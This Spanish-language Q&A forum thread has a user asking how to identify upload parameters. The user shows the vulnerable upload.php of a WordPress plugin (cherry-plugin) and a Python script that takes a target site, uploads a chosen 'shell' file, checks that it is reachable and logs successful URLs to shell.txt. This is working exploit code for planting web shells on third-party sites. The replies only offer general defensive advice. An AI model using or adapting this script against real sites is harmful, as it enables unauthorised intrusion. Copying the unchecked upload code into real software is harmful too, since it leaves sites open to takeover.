¿como puedo identificar los parametros/variables/names de un uploader?
Que tal amigos, mirad... tengo un archivo vulnerable a la subida de archivos mediante Post, obviamente. Estoy escribiendo un pequeño script que automatice la subida de archivos, sin embargo no puedo identificar los parametros de subida:
El path del uploader.php seria así
http://site.com/wp-content/plugins/cherry-plugin/admin/import-export/upload.php
Codigo vulnerable (arbitrary file upload)
<?php
if(strtolower($_SERVER['REQUEST_METHOD']) != 'post'){
exit_status('Error! Wrong HTTP method!');
}
if(array_key_exists('file',$_FILES)){
$upload_dir = isset($_REQUEST['upload_dir']) ? $_REQUEST['upload_dir'] : $upload_dir ;
$file_name =basename($_FILES['file']['name']);
$upload_file = $upload_dir.$file_name;
$result = move_uploaded_file($_FILES['file']['tmp_name'], $upload_file);
}
exit;
?>Tambien tengo el siguiente script en Python, el cual hace la subida del archivo a elegir.
#!/usr/bin/python
import requests
import re
url = raw_input("Site : ")
filname = raw_input("Shell : ")
dirx = '/wp-content/plugins/cherry-plugin/admin/import-export/upload.php'
urled = url + dirx
files={'file':(filname, open(filname,'rb'),'multipart/form-data')}
r = requests.post(urled, files=files)
bb = filname
shelldir = '/wp-content/plugins/cherry-plugin/admin/import-export/'+bb
shelled = url + shelldir
response = requests.head(shelled)
if response.status_code == 200:
print shelled
print "Saved at .txt"
myFile = open("shell.txt", "w")
myFile.write(shelled)
myFile.close()
else:
print "Not vulnerable"Anexare una foto del codigo en Perl :)
Muchas gracias !
Respuestas
Bueno Alexander... luego de tratarlo un poco en el chat de esta pregunta... creo que entiendo mejor a qué te refieres. Aquí te vaun poco de mi punto de vista para una posible solución.
Como te comentaba en el chat, el problema es que no se controla de donde llegue la petición... sólo deja que se suba el archivo y nada más; entonces, qué hacemos para prevenir esto.
Posibles soluciones.
Yo te recomiendo considerar el primer y segundo caso a la vez siendo que el segundo ya te daría bastante cabida a controlar que todas las peticiones sólo entren desde tu propia aplicación, al menos para esa subida de archivos y si lo combinas con el segundo, aún mejor, siendo que esto no sería tan necesario, pero tampoco estaría de más hacerlo.
Bueno Alexander, espero que con esto te de una idea de como podrías restringir el caso que se te presenta.
Saludos.
Hola Alexander... lo primero, sería bueno que edites tu pregunta y el código de PHP lo pongas mediante la herramienta para integrar código del editor.. segundo... no entiendo muy bien a que te refieres con uploader vulnerable... podrías detallar un poco tu pregunta?.
Saludos.